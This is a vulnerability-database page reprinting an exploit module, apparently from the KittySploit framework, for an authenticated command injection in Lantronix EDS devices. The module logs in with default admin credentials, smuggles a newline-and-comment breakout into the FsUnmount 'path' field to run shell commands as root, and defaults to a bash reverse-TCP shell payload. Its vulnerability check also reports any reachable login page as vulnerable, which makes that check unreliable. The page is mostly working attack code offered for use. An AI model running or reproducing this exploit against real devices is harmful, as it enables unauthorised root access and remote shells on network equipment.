Lucene search
+L

Lantronix EDS FsUnmount command injection

🗓️ 27 Oct 2026 13:35:18Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 5 Views

Authenticated command injection in Lantronix EDS FsUnmount via path parameter.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lantronix EDS FsUnmount path parameter command injection."""

from __future__ import annotations

import re
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Lantronix EDS FsUnmount command injection",
        "description": (
            "Authenticated POST /FsUnmount with newline/breakout in path "
            "reaches ltrx_usb_umount → /bin/sh -c (root)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["lantronix", "rce", "injection"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/lantronix_fsunmount_cmd_injection_detect"],
            },
        },
    }

    port = OptPort(80, "Device HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    username = OptString("admin", "Web login username", required=True)
    password = OptString("admin", "Web login password", required=True)

    @staticmethod
    def _inject_path(cmd: str) -> str:
        # Newline breaks single-quoted arg; # comments trailing quote fragment.
        return f"x'\n{cmd} #"

    def _login(self) -> bool:
        resp = self.http_request(
            "POST",
            "/login",
            data=urlencode({"username": self.username, "password": self.password}),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        return bool(resp and int(resp.status_code or 0) in (200, 302, 303))

    def execute(self, cmd: str) -> str:
        if not self._login():
            return "login failed"
        path_val = self._inject_path(cmd)
        resp = self.http_request(
            "POST",
            "/FsUnmount",
            data=urlencode({"dir": "foo", "path": path_val}),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        if not resp:
            return "FsUnmount request failed"
        return (
            f"HTTP {resp.status_code}\npath={path_val!r}\n"
            f"{(resp.text or '')[:2000]}\n(blind — avoid > ; | in cmd if validator rejects)"
        )

    def check(self):
        resp = self.http_request("GET", "/login", session=True)
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "Lantronix web UI reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "HTTP login not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("POST /FsUnmount injection")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2026 13:35Current
6Medium risk
Vulners AI Score6
5